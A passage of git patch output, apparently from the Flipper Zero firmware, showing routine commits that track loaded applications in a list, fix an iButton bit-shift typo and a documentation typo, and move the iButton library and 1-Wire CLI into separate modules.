if(!flipper_application_loaded_app_list_initialized) { + FlipperApplicationList_init(flipper_application_loaded_app_list); + flipper_application_loaded_app_list_initialized = true; + } + FlipperApplicationList_push_back(flipper_application_loaded_app_list, app); +} + +static void flipper_application_list_remove_app(const FlipperApplication* app) { + furi_assert(flipper_application_loaded_app_list_initialized); + furi_assert(app); + + FlipperApplicationList_it_t it; + for(FlipperApplicationList_it(it, flipper_application_loaded_app_list); + !FlipperApplicationList_end_p(it); + FlipperApplicationList_next(it)) { + if(*FlipperApplicationList_ref(it) == app) { + FlipperApplicationList_remove(flipper_application_loaded_app_list, it); + break; + } + } +} + +/*****************************************************************************/ FlipperApplication* flipper_application_alloc(Storage* storage, const ElfApiInterface* api_interface) { @@ -37,8 +70,8 @@ void flipper_application_free(FlipperApplication* app) { furi_thread_free(app->thread); } - if(!flipper_application_is_plugin(app)) { - last_loaded_app = NULL; + if(app->state.entry) { + flipper_application_list_remove_app(app); } elf_file_clear_debug_info(&app->state); @@ -153,14 +186,12 @@ const FlipperApplicationManifest* flipper_application_get_manifest(FlipperApplic } FlipperApplicationLoadStatus flipper_application_map_to_memory(FlipperApplication* app) { - if(!flipper_application_is_plugin(app)) { - last_loaded_app = app; - } ELFFileLoadStatus status = elf_file_load_sections(app->elf); switch(status) { case ELFFileLoadStatusSuccess: elf_file_init_debug_info(app->elf, &app->state); + flipper_application_list_add_app(app); return FlipperApplicationLoadStatusSuccess; case ELFFileLoadStatusNoFreeMemory: return FlipperApplicationLoadStatusNoFreeMemory; From 1d91a572cc15fc452272baec9cbd09a7fdf7f57a Mon Sep 17 00:00:00 2001 From: Georgii Surkov <37121527+gsurkov@users.noreply.github.com> Date: Mon, 20 Mar 2023 18:22:40 +0300 Subject: [PATCH 185/329] [FL-3182] Fix typos in iButton (#2506) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Fix a typo: right shift instead of greater than * Fix a typo: proper iButton part number Co-authored-by: あく --- documentation/file_formats/iButtonFileFormat.md | 2 +- lib/one_wire/ibutton/protocols/dallas/dallas_common.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/file_formats/iButtonFileFormat.md b/documentation/file_formats/iButtonFileFormat.md index d31c297a2..63743f063 100644 --- a/documentation/file_formats/iButtonFileFormat.md +++ b/documentation/file_formats/iButtonFileFormat.md @@ -26,7 +26,7 @@ Changelog: | Name | Type | Description | | ----------- | ------ | -------------------------------------------- | -| Protocol | string | Currently supported: DS1990, DS1992, DS1996, DS1997, DSGeneric*, Cyfral, Metakom | +| Protocol | string | Currently supported: DS1990, DS1992, DS1996, DS1971, DSGeneric*, Cyfral, Metakom | | Rom Data | hex | Read-only memory data (Dallas protocols only) | | Sram Data | hex | Static RAM data (DS1992 and DS1996 only) | Eeprom Data | hex | EEPROM data (DS1971 only) diff --git a/lib/one_wire/ibutton/protocols/dallas/dallas_common.c b/lib/one_wire/ibutton/protocols/dallas/dallas_common.c index 22b25db84..ebf57e555 100644 --- a/lib/one_wire/ibutton/protocols/dallas/dallas_common.c +++ b/lib/one_wire/ibutton/protocols/dallas/dallas_common.c @@ -85,7 +85,7 @@ bool dallas_common_read_mem(OneWireHost* host, uint16_t address, uint8_t* data, onewire_host_write(host, DALLAS_COMMON_CMD_READ_MEM); onewire_host_write(host, (uint8_t)address); - onewire_host_write(host, (uint8_t)(address > BITS_IN_BYTE)); + onewire_host_write(host, (uint8_t)(address >> BITS_IN_BYTE)); onewire_host_read_bytes(host, data, (uint16_t)data_size); From 0917494a80da701dd787e2d06aa08b12e1b71099 Mon Sep 17 00:00:00 2001 From: Georgii Surkov <37121527+gsurkov@users.noreply.github.com> Date: Mon, 20 Mar 2023 19:23:17 +0300 Subject: [PATCH 186/329] [FL-3168] Add one_wire lib to f18, separate ibutton (#2509) * Separate ibutton to its own module, add one_wire to f18 * Move onewire cli to a separate app Co-authored-by: Aleksandr Kutuzov --- applications/main/application.fam | 1 + applications/main/ibutton/ibutton_cli.c | 64 +---------------- applications/main/ibutton/ibutton_i.h | 4 +- applications/main/onewire/application.fam | 14 ++++ applications/main/onewire/onewire_cli.c | 72 +++++++++++++++++++ firmware/targets/f18/api_symbols.csv | 31 ++++++++ firmware/targets/f18/target.json | 5 +- firmware/targets/f7/api_symbols.csv | 6 +- firmware/targets/f7/target.json | 3 +- lib/SConscript | 1 + lib/ibutton/SConscript | 24 +++++++ lib/{one_wire => }/ibutton/ibutton_key.c | 0 lib/{one_wire => }/ibutton/ibutton_key.h | 0 lib/{one_wire => }/ibutton/ibutton_key_i.h | 0 .../ibutton/ibutton_protocols.c | 0 .../ibutton/ibutton_protocols.h | 0 lib/{one_wire => }/ibutton/ibutton_worker.c | 0 lib/{one_wire => }/ibutton/ibutton_worker.h | 0 lib/{one_wire => }/ibutton/ibutton_worker_i.h | 0 .../ibutton/ibutton_worker_modes.c | 0 .../ibutton/protocols/blanks/rw1990.c | 0 .../ibutton/protocols/blanks/rw1990.h | 0 .../ibutton/protocols/blanks/tm2004.c | 0 .../ibutton/protocols/blanks/tm2004.h | 0 .../ibutton/protocols/dallas/dallas_common.c | 0 .../ibutton/protocols/dallas/dallas_common.h | 0 .../protocols/dallas/protocol_dallas_base.h | 0 .../protocols/dallas/protocol_ds1971.c | 0 .../protocols/dallas/protocol_ds1971.h | 0 .../protocols/dallas/protocol_ds1990.c | 0 .../protocols/dallas/protocol_ds1990.h | 0 .../protocols/dallas/protocol_ds1992.c | 0 .../protocols/dallas/protocol_ds1992.h | 0 .../protocols/dallas/protocol_ds1996.c | 0 .../protocols/dallas/protocol_ds1996.h | 0 .../protocols/dallas/protocol_ds_generic.c | 0 .../protocols/dallas/protocol_ds_generic.h | 0 .../protocols/dallas/protocol_group_dallas.c | 0 .../protocols/dallas/protocol_group_dallas.h | 0 .../dallas/protocol_group_dallas_defs.c | 0 .../dallas/protocol_group_dallas_defs.h | 0 .../ibutton/protocols/misc/protocol_cyfral.c | 0 .../ibutton/protocols/misc/protocol_cyfral.h | 0 .../protocols/misc/protocol_group_misc.c | 0 .../protocols/misc/protocol_group_misc.h | 0 .../protocols/misc/protocol_group_misc_defs.c | 0 .../protocols/misc/protocol_group_misc_defs.h | 0 .../ibutton/protocols/misc/protocol_metakom.c | 0 .../ibutton/protocols/misc/protocol_metakom.h | 0 .../ibutton/protocols/protocol_common.h | 0 .../ibutton/protocols/protocol_common_i.h | 0 .../ibutton/protocols/protocol_group_base.h | 0 .../ibutton/protocols/protocol_group_defs.c | 0 .../ibutton/protocols/protocol_group_defs.h | 0 lib/one_wire/SConscript | 3 - 55 files changed, 156 insertions(+), 72 deletions(-) create mode 100644 applications/main/onewire/application.fam create mode 100644 applications/main/onewire/onewire_cli.c create mode 100644 lib/ibutton/SConscript rename lib/{one_wire => }/ibutton/ibutton_key.c (100%) rename lib/{one_wire => }/ibutton/ibutton_key.h (100%) rename lib/{one_wire => }/ibutton/ibutton_key_i.h (100%) rename lib/{one_wire => }/ibutton/ibutton_protocols.c (100%) rename lib/{one_wire => }/ibutton/ibutton_protocols.h (100%) rename lib/{one_wire => }/ibutton/ibutton_worker.c (100%) rename lib/{one_wire => }/ibutton/ibutton_worker.h (100%) rename lib/{one_wire => }/ibutton/ibutton_worker_i.h (100%) rename lib/{one_wire => }/ibutton/ibutton_worker_modes.c (100%) rename lib/{one_wire => }/ibutton/protocols/blanks/rw1990.c (100%) rename lib/{one_wire => }/ibutton/protocols/blanks/rw1990.h (100%) rename lib/{one_wire => }/ibutton/protocols/blanks/tm2004.c (100%) rename lib/{one_wire => }/ibutton/protocols/blanks/tm2004.h (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/dallas_common.c (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/dallas_common.h (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_dallas_base.h (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_ds1971.c (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_ds1971.h (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_ds1990.c (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_ds1990.h (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_ds1992.c (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_ds1992.h (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_ds1996.c (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_ds1996.h (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_ds_generic.c (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_ds_generic.h (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_group_dallas.c (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_group_dallas.h (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_group_dallas_defs.c (100%) rename lib/{one_wire => }/ibutton/protocols/dallas/protocol_group_dallas_defs.h (100%) rename lib/{one_wire => }/ibutton/protocols/misc/protocol_cyfral.c (100%) rename lib/{one_wire => }/ibutton/protocols/misc/protocol_cyfral.h (100%) rename lib/{one_wire => }/ibutton/protocols/misc/protocol_group_misc.c (100%) rename lib/{one_wire => }/ibutton/protocols/misc/protocol_group_misc.h (100%) rename lib/{one_wire => }/ibutton/protocols/misc/protocol_group_misc_defs.c (100%) rename lib/{one_wire => }/ibutton/protocols/misc/protocol_group_misc_defs.h (100%) rename lib/{one_wire => }/ibutton/protocols/misc/protocol_metakom.c (100%) rename lib/{one_wire => }/ibutton/protocols/misc/protocol_metakom.h (100%) rename lib/{one_wire => }/ibutton/protocols/protocol_common.h (100%) rename lib/{one_wire => }/ibutton/protocols/protocol_common_i.h (100%) rename lib/{one_wire => }/ibutton/protocols/protocol_group_base.h (100%) rename lib/{one_wire => }/ibutton/protocols/protocol_group_defs.c (100%) rename lib/{one_wire => }/ibutton/protocols/protocol_group_defs.h (100%) diff --git a/applications/main/application.fam b/applications/main/application.fam index 1fc309905..5c2c21d37 100644 --- a/applications/main/application.fam +++ b/applications/main/application.fam @@ -4,6 +4,7 @@ App( apptype=FlipperAppType.METAPACKAGE, provides=[ "gpio", + "onewire", "ibutton", "infrared", "lfrfid", diff --git a/applications/main/ibutton/ibutton_cli.c b/applications/main/ibutton/ibutton_cli.c index 2b88b2007..54bc808b5 100644 --- a/applications/main/ibutton/ibutton_cli.c +++ b/applications/main/ibutton/ibutton_cli.c @@ -4,25 +4,20 @@ #include #include -#include - -#include -#include -#include +#include +#include +#include static void ibutton_cli(Cli* cli, FuriString* args, void* context); -static void onewire_cli(Cli* cli, FuriString* args, void* context); // app cli function void ibutton_on_system_start() { #ifdef SRV_CLI Cli* cli = furi_record_open(RECORD_CLI); cli_add_command(cli, "ikey", CliCommandFlagDefault, ibutton_cli, cli); - cli_add_command(cli, "onewire", CliCommandFlagDefault, onewire_cli, cli); furi_record_close(RECORD_CLI); #else UNUSED(ibutton_cli); - UNUSED(onewire_cli); #endif } @@ -257,56 +252,3 @@ void ibutton_cli(Cli* cli, FuriString* args, void* context) { furi_string_free(cmd); } - -static void onewire_cli_print_usage() { - printf("Usage:\r\n"); - printf("onewire search\r\n"); -}; - -static void onewire_cli_search(Cli* cli) { - UNUSED(cli); - OneWireHost* onewire = onewire_host_alloc(&ibutton_gpio); - uint8_t address[8]; - bool done = false; - - printf("Search started\r\n"); - - onewire_host_start(onewire); - furi_hal_power_enable_otg(); - - while(!done) { - if(onewire_host_search(onewire, address, OneWireHostSearchModeNormal) != 1) { - printf("Search finished\r\n"); - onewire_host_reset_search(onewire); - done = true; - } else { - printf("Found: "); - for(uint8_t i = 0; i < 8; i++) { - printf("%02X", address[i]); - } - printf("\r\n"); - } - furi_delay_ms(100); - } - - furi_hal_power_disable_otg(); - onewire_host_free(onewire); -} - -void onewire_cli(Cli* cli, FuriString* args, void* context) { - UNUSED(context); - FuriString* cmd; - cmd = furi_string_alloc(); - - if(!args_read_string_and_trim(args, cmd)) { - furi_string_free(cmd); - onewire_cli_print_usage(); - return; - } - - if(furi_string_cmp_str(cmd, "search") == 0) { - onewire_cli_search(cli); - } - - furi_string_free(cmd); -} diff --git a/applications/main/ibutton/ibutton_i.h b/applications/main/ibutton/ibutton_i.h index 8ad0b90e4..509279210 100644 --- a/applications/main/ibutton/ibutton_i.h +++ b/applications/main/ibutton/ibutton_i.h @@ -7,8 +7,8 @@ #include #include -#include -#include +#include +#include #include #include diff --git a/applications/main/onewire/application.fam b/applications/main/onewire/application.fam new file mode 100644 index 000000000..68d4f6716 --- /dev/null +++ b/applications/main/onewire/application.fam @@ -0,0 +1,14 @@ +App( + appid="onewire", + name="1-Wire", + apptype=FlipperAppType.METAPACKAGE, + provides=["onewire_start"], +) + +App( + appid="onewire_start", + apptype=FlipperAppType.STARTUP, + entry_point="onewire_on_system_start", + requires=["onewire"], + order=60, +) diff --git a/applications/main/onewire/onewire_cli.c b/applications/main/onewire/onewire_cli.c new file mode 100644 index 000000000..4c16fb389 --- /dev/null +++ b/applications/main/onewire/onewire_cli.c @@ -0,0 +1,72 @@ +#include +#include + +#include +#include + +#include + +static void onewire_cli(Cli* cli, FuriString* args, void* context); + +void onewire_on_system_start() { +#ifdef SRV_CLI + Cli* cli = furi_record_open(RECORD_CLI); + cli_add_command(cli, "onewire", CliCommandFlagDefault, onewire_cli, cli); + furi_record_close(RECORD_CLI); +#else + UNUSED(onewire_cli); +#endif +} + +static void onewire_cli_print_usage() { + printf("Usage:\r\n"); + printf("onewire search\r\n"); +}; + +static void onewire_cli_search(Cli* cli) { + UNUSED(cli); + OneWireHost* onewire = onewire_host_alloc(&ibutton_gpio); + uint8_t address[8]; + bool done = false; + + printf("Search started\r\n"); + + onewire_host_start(onewire); + furi_hal_power_enable_otg(); + + while(!done) { + if(onewire_host_search(onewire, address, OneWireHostSearchModeNormal) != 1) { + printf("Search finished\r\n"); + onewire_host_reset_search(onewire); + done = true; + } else { + printf("Found: "); + for(uint8_t i = 0; i < 8; i++) { + printf("%02X", address[i]); + } + printf("\r\n"); + } + furi_delay_ms(100); + } + + furi_hal_power_disable_otg(); + onewire_host_free(onewire); +} + +void onewire_cli(Cli* cli, FuriString* args, void* context) { + UNUSED(context); + FuriString* cmd; + cmd = furi_string_alloc(); + + if(!args_read_string_and_trim(args, cmd)) { + furi_string_free(cmd); + onewire_cli_print_usage(); + return; + } + + if(furi_string_cmp_str(cmd, "search") == 0) { + onewire_cli_search(cli); + } + + furi_string_free(cmd); +} diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index 61195aba6..7fa269c96 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -151,6 +151,10 @@ Header,+,lib/mlib/m-list.h,, Header,+,lib/mlib/m-rbtree.h,, Header,+,lib/mlib/m-tuple.h,, Header,+,lib/mlib/m-variant.h,, +Header,+,lib/one_wire/maxim_crc.h,, +Header,+,lib/one_wire/one_wire_host.h,, +Header,+,lib/one_wire/one_wire_host_timing.h,, +Header,+,lib/one_wire/one_wire_slave.h,, Header,+,lib/print/wrappers.h,, Header,+,lib/toolbox/args.h,, Header,+,lib/toolbox/crc32_calc.h,, @@ -1394,6 +1398,7 @@ Function,+,manchester_advance,_Bool,"ManchesterState, ManchesterEvent, Mancheste Function,+,manchester_encoder_advance,_Bool,"ManchesterEncoderState*, const _Bool, ManchesterEncoderResult*" Function,+,manchester_encoder_finish,ManchesterEncoderResult,ManchesterEncoderState* Function,+,manchester_encoder_reset,void,ManchesterEncoderState* +Function,+,maxim_crc8,uint8_t,"const uint8_t*, const uint8_t, const uint8_t" Function,-,mbedtls_des3_crypt_cbc,int,"mbedtls_des3_context*, int, size_t, unsigned char[8], const unsigned char*, unsigned char*" Function,-,mbedtls_des3_crypt_ecb,int,"mbedtls_des3_context*, const unsigned char[8], unsigned char[8]" Function,-,mbedtls_des3_free,void,mbedtls_des3_context* @@ -1472,6 +1477,32 @@ Function,+,notification_message,void,"NotificationApp*, const NotificationSequen Function,+,notification_message_block,void,"NotificationApp*, const NotificationSequence*" Function,-,nrand48,long,unsigned short[3] Function,-,on_exit,int,"void (*)(int, void*), void*" +Function,+,onewire_host_alloc,OneWireHost*,const GpioPin* +Function,+,onewire_host_free,void,OneWireHost* +Function,+,onewire_host_read,uint8_t,OneWireHost* +Function,+,onewire_host_read_bit,_Bool,OneWireHost* +Function,+,onewire_host_read_bytes,void,"OneWireHost*, uint8_t*, uint16_t" +Function,+,onewire_host_reset,_Bool,OneWireHost* +Function,+,onewire_host_reset_search,void,OneWireHost* +Function,+,onewire_host_search,uint8_t,"OneWireHost*, uint8_t*, OneWireHostSearchMode" +Function,+,onewire_host_skip,void,OneWireHost* +Function,+,onewire_host_start,void,OneWireHost* +Function,+,onewire_host_stop,void,OneWireHost* +Function,+,onewire_host_target_search,void,"OneWireHost*, uint8_t" +Function,+,onewire_host_write,void,"OneWireHost*, uint8_t" +Function,+,onewire_host_write_bit,void,"OneWireHost*, _Bool" +Function,+,onewire_host_write_bytes,void,"OneWireHost*, const uint8_t*, uint16_t" +Function,+,onewire_slave_alloc,OneWireSlave*,const GpioPin* +Function,+,onewire_slave_free,void,OneWireSlave* +Function,+,onewire_slave_receive,_Bool,"OneWireSlave*, uint8_t*, size_t" +Function,+,onewire_slave_receive_bit,_Bool,OneWireSlave* +Function,+,onewire_slave_send,_Bool,"OneWireSlave*, const uint8_t*, size_t" +Function,+,onewire_slave_send_bit,_Bool,"OneWireSlave*, _Bool" +Function,+,onewire_slave_set_command_callback,void,"OneWireSlave*, OneWireSlaveCommandCallback, void*" +Function,+,onewire_slave_set_reset_callback,void,"OneWireSlave*, OneWireSlaveResetCallback, void*" +Function,+,onewire_slave_set_result_callback,void,"OneWireSlave*, OneWireSlaveResultCallback, void*" +Function,+,onewire_slave_start,void,OneWireSlave* +Function,+,onewire_slave_stop,void,OneWireSlave* Function,-,open_memstream,FILE*,"char**, size_t*" Function,+,path_append,void,"FuriString*, const char*" Function,+,path_concat,void,"const char*, const char*, FuriString*" diff --git a/firmware/targets/f18/target.json b/firmware/targets/f18/target.json index 2c3b27ab1..f1963fb01 100644 --- a/firmware/targets/f18/target.json +++ b/firmware/targets/f18/target.json @@ -24,6 +24,7 @@ "usb_stm32", "appframe", "assets", + "one_wire", "misc", "flipper_application", "flipperformat", @@ -45,11 +46,11 @@ "furi_hal_subghz_configs.h" ], "excluded_modules": [ - "one_wire", "nfc", "lfrfid", "subghz", + "ibutton", "infrared", "st25rfal002" ] -} \ No newline at end of file +} diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index e46322f4b..c98e54672 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -118,6 +118,9 @@ Header,+,lib/flipper_application/plugins/composite_resolver.h,, Header,+,lib/flipper_application/plugins/plugin_manager.h,, Header,+,lib/flipper_format/flipper_format.h,, Header,+,lib/flipper_format/flipper_format_i.h,, +Header,+,lib/ibutton/ibutton_key.h,, +Header,+,lib/ibutton/ibutton_protocols.h,, +Header,+,lib/ibutton/ibutton_worker.h,, Header,+,lib/infrared/encoder_decoder/infrared.h,, Header,+,lib/infrared/worker/infrared_transmit.h,, Header,+,lib/infrared/worker/infrared_worker.h,, @@ -167,9 +170,6 @@ Header,+,lib/mlib/m-rbtree.h,, Header,+,lib/mlib/m-tuple.h,, Header,+,lib/mlib/m-variant.h,, Header,+,lib/nfc/nfc_device.h,, -Header,+,lib/one_wire/ibutton/ibutton_key.h,, -Header,+,lib/one_wire/ibutton/ibutton_protocols.h,, -Header,+,lib/one_wire/ibutton/ibutton_worker.h,, Header,+,lib/one_wire/maxim_crc.h,, Header,+,lib/one_wire/one_wire_host.h,, Header,+,lib/one_wire/one_wire_host_timing.h,, diff --git a/firmware/targets/f7/target.json b/firmware/targets/f7/target.json index 49aa109bd..14bb1cd0c 100644 --- a/firmware/targets/f7/target.json +++ b/firmware/targets/f7/target.json @@ -35,6 +35,7 @@ "appframe", "assets", "one_wire", + "ibutton", "misc", "mbedtls", "lfrfid", @@ -42,4 +43,4 @@ "flipperformat", "toolbox" ] -} \ No newline at end of file +} diff --git a/lib/SConscript b/lib/SConscript index d1e8e8c7e..f5d4689f1 100644 --- a/lib/SConscript +++ b/lib/SConscript @@ -87,6 +87,7 @@ libs = env.BuildModules( "fatfs", "flipper_format", "one_wire", + "ibutton", "infrared", "littlefs", "mbedtls", diff --git a/lib/ibutton/SConscript b/lib/ibutton/SConscript new file mode 100644 index 000000000..238d65f7d --- /dev/null +++ b/lib/ibutton/SConscript @@ -0,0 +1,24 @@ +Import("env") + +env.Append( + LINT_SOURCES=[ + Dir("."), + ], + CPPPATH=[ + "#/lib/ibutton", + ], + SDK_HEADERS=[ + File("ibutton_key.h"), + File("ibutton_worker.h"), + File("ibutton_protocols.h"), + ], +) + +libenv = env.Clone(FW_LIB_NAME="ibutton") +libenv.ApplyLibFlags() + +sources = libenv.GlobRecursive("*.c*") + +lib = libenv.StaticLibrary("${FW_LIB_NAME}", sources) +libenv.Install("${LIB_DIST_DIR}", lib) +Return("lib") diff --git a/lib/one_wire/ibutton/ibutton_key.c b/lib/ibutton/ibutton_key.c similarity index 100% rename from lib/one_wire/ibutton/ibutton_key.c rename to lib/ibutton/ibutton_key.c diff --git a/lib/one_wire/ibutton/ibutton_key.h b/lib/ibutton/ibutton_key.h similarity index 100% rename from lib/one_wire/ibutton/ibutton_key.h rename to lib/ibutton/ibutton_key.h diff --git a/lib/one_wire/ibutton/ibutton_key_i.h b/lib/ibutton/ibutton_key_i.h similarity index 100% rename from lib/one_wire/ibutton/ibutton_key_i.h rename to lib/ibutton/ibutton_key_i.h diff --git a/lib/one_wire/ibutton/ibutton_protocols.c b/lib/ibutton/ibutton_protocols.c similarity index 100% rename from lib/one_wire/ibutton/ibutton_protocols.c rename to lib/ibutton/ibutton_protocols.c diff --git a/lib/one_wire/ibutton/ibutton_protocols.h b/lib/ibutton/ibutton_protocols.h similarity index 100% rename from lib/one_wire/ibutton/ibutton_protocols.h rename to lib/ibutton/ibutton_protocols.h diff --git a/lib/one_wire/ibutton/ibutton_worker.c b/lib/ibutton/ibutton_worker.c similarity index 100% rename from lib/one_wire/ibutton/ibutton_worker.c rename to lib/ibutton/ibutton_worker.c diff --git a/lib/one_wire/ibutton/ibutton_worker.h b/lib/ibutton/ibutton_worker.h similarity index 100% rename from lib/one_wire/ibutton/ibutton_worker.h rename to lib/ibutton/ibutton_worker.h diff --git a/lib/one_wire/ibutton/ibutton_worker_i.h b/lib/ibutton/ibutton_worker_i.h similarity index 100% rename from lib/one_wire/ibutton/ibutton_worker_i.h rename to lib/ibutton/ibutton_worker_i.h diff --git a/lib/one_wire/ibutton/ibutton_worker_modes.c b/lib/ibutton/ibutton_worker_modes.c similarity index 100% rename from lib/one_wire/ibutton/ibutton_worker_modes.c rename to lib/ibutton/ibutton_worker_modes.c diff --git a/lib/one_wire/ibutton/protocols/blanks/rw1990.c b/lib/ibutton/protocols/blanks/rw1990.c similarity index 100% rename from lib/one_wire/ibutton/protocols/blanks/rw1990.c rename to lib/ibutton/protocols/blanks/rw1990.c diff --git a/lib/one_wire/ibutton/protocols/blanks/rw1990.h b/lib/ibutton/protocols/blanks/rw1990.h similarity index 100% rename from lib/one_wire/ibutton/protocols/blanks/rw1990.h rename to lib/ibutton/protocols/blanks/rw1990.h diff --git a/lib/one_wire/ibutton/protocols/blanks/tm2004.c b/lib/ibutton/protocols/blanks/tm2004.c similarity index 100% rename from lib/one_wire/ibutton/protocols/blanks/tm2004.c rename to lib/ibutton/protocols/blanks/tm2004.c diff --git a/lib/one_wire/ibutton/protocols/blanks/tm2004.h b/lib/ibutton/protocols/blanks/tm2004.h similarity index 100% rename from lib/one_wire/ibutton/protocols/blanks/tm2004.h rename to lib/ibutton/protocols/blanks/tm2004.h diff --git a/lib/one_wire/ibutton/protocols/dallas/dallas_common.c b/lib/ibutton/protocols/dallas/dallas_common.c similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/dallas_common.c rename to lib/ibutton/protocols/dallas/dallas_common.c diff --git a/lib/one_wire/ibutton/protocols/dallas/dallas_common.h b/lib/ibutton/protocols/dallas/dallas_common.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/dallas_common.h rename to lib/ibutton/protocols/dallas/dallas_common.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_dallas_base.h b/lib/ibutton/protocols/dallas/protocol_dallas_base.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_dallas_base.h rename to lib/ibutton/protocols/dallas/protocol_dallas_base.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1971.c b/lib/ibutton/protocols/dallas/protocol_ds1971.c similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1971.c rename to lib/ibutton/protocols/dallas/protocol_ds1971.c diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1971.h b/lib/ibutton/protocols/dallas/protocol_ds1971.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1971.h rename to lib/ibutton/protocols/dallas/protocol_ds1971.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1990.c b/lib/ibutton/protocols/dallas/protocol_ds1990.c similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1990.c rename to lib/ibutton/protocols/dallas/protocol_ds1990.c diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1990.h b/lib/ibutton/protocols/dallas/protocol_ds1990.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1990.h rename to lib/ibutton/protocols/dallas/protocol_ds1990.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.c b/lib/ibutton/protocols/dallas/protocol_ds1992.c similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.c rename to lib/ibutton/protocols/dallas/protocol_ds1992.c diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.h b/lib/ibutton/protocols/dallas/protocol_ds1992.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1992.h rename to lib/ibutton/protocols/dallas/protocol_ds1992.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.c b/lib/ibutton/protocols/dallas/protocol_ds1996.c similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.c rename to lib/ibutton/protocols/dallas/protocol_ds1996.c diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.h b/lib/ibutton/protocols/dallas/protocol_ds1996.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds1996.h rename to lib/ibutton/protocols/dallas/protocol_ds1996.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds_generic.c b/lib/ibutton/protocols/dallas/protocol_ds_generic.c similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds_generic.c rename to lib/ibutton/protocols/dallas/protocol_ds_generic.c diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_ds_generic.h b/lib/ibutton/protocols/dallas/protocol_ds_generic.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_ds_generic.h rename to lib/ibutton/protocols/dallas/protocol_ds_generic.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas.c b/lib/ibutton/protocols/dallas/protocol_group_dallas.c similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas.c rename to lib/ibutton/protocols/dallas/protocol_group_dallas.c diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas.h b/lib/ibutton/protocols/dallas/protocol_group_dallas.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas.h rename to lib/ibutton/protocols/dallas/protocol_group_dallas.h diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c b/lib/ibutton/protocols/dallas/protocol_group_dallas_defs.c similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.c rename to lib/ibutton/protocols/dallas/protocol_group_dallas_defs.c diff --git a/lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h b/lib/ibutton/protocols/dallas/protocol_group_dallas_defs.h similarity index 100% rename from lib/one_wire/ibutton/protocols/dallas/protocol_group_dallas_defs.h rename to lib/ibutton/protocols/dallas/protocol_group_dallas_defs.h diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_cyfral.c b/lib/ibutton/protocols/misc/protocol_cyfral.c similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_cyfral.c rename to lib/ibutton/protocols/misc/protocol_cyfral.c diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_cyfral.h b/lib/ibutton/protocols/misc/protocol_cyfral.h similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_cyfral.h rename to lib/ibutton/protocols/misc/protocol_cyfral.h diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_group_misc.c b/lib/ibutton/protocols/misc/protocol_group_misc.c similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_group_misc.c rename to lib/ibutton/protocols/misc/protocol_group_misc.c diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_group_misc.h b/lib/ibutton/protocols/misc/protocol_group_misc.h similarity index 100% rename from lib/one_wire/ibutton/protocols/misc/protocol_group_misc.h rename to lib/ibutton/protocols/misc/protocol_group_misc.h diff --git a/lib/one_wire/ibutton/protocols/misc/protocol_group_misc_defs.c 